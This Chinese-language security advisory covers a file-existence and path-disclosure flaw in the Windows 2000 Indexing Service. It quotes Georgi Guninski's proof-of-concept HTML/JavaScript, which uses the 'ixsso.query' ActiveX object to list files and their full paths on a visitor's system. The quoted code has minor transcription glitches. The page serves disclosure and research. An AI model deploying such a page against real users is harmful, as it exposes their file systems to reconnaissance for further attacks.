返回总目录 上一页 目录页 下一页

微软Windows 2000索引服务的文件验证漏洞


受影响的系统:
Microsoft Indexing Services for Windows 2000
+ Microsoft Windows NT 2000

微软Windows 2000索引服务是一个搜索引擎,它允许用户使用他们的浏览器对在线站点进行全文搜索。搜索结果包括Word、Excel、PowerPoint和HTML文档。默认情况下Windows 2000未打开该服务。

恶意的网站管理员能够在打开了索引服务的Windows 2000系统中验证文件的存在性。网站管理员通过包含Activex对象“ixsso.query”的特殊构造的HTML来使用索引服务,从而能够搜索特定的文件。查询结果将显示文件的完整物理路径,这样的查询结果只能从那些在索引服务中被明确配置成可搜索的目录中获得。

成功地揭示文件的存在性将有助于对目标系统的更严重的攻击。

<* 来源: Georgi Guninski (guninski@guninski.com) *>

测试程序:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Georgi Guninski <guninski@guninski.com> 已经建立如下演示页面:
http://www.guninski.com/indexserv1.html

该页面的关键代码如下:

Search for files containing: <INPUT NAME="query" TYPE="text">
<INPUT TYPE="BUTTON" VALUE="Search" onclick="g(document.all.query.value)">
<INPUT TYPE="BUTTON" VALUE="Find *.txt files" onclick="g('@filename = *.txt')">


<SCRIPT>
function g(q1)
{

qu=new ActiveXObject("ixsso.query");

qu.Catalog="System";
file://qu.query="@contents name";
file://qu.query="#filename .htm or name near test";
file://qu.query='@filename = *.doc ';
qu.query=q1;

qu.Columns="filename, path, doctitle, doccomments, docauthor, size";

rs=qu.CreateRecordset("nonsequential");
file://alert("Records: "+rs.RecordCount);

doc=window.frames[0].document;
doc.writeln("SEARCH RESULTS Records: "+rs.RecordCount+"
");
doc.writeln("<TABLE BORDER=2>");
doc.writeln("<TR><TD>Path</TD><TD>size</TD><TD>DocAuthor</TD><TD>DocTitle</TD></TR>");
while (!rs.EOF)
{
doc.writeln("<TR><TD><A TARGET='_blank' HREF='file://"+rs("Path")+"'</A>"+rs("Path")+"</TD><TD>"+rs("size")_

+"</TD><TD>"+rs("DocAuthor")+"</TD><TD>"+rs("DocTitle")+"</TD></TR>");
rs.MoveNext();
}
doc.writeln("</TABLE>");

}
//setTimeout("g()",1000);
</SCRIPT>

<IFRAME WIDTH=700 HEIGHT=400 SRC="about:blank"></IFRAME>


 返回

w w w. 1 6 3 1 6 4 .c n

返回总目录 上一页 目录页 下一页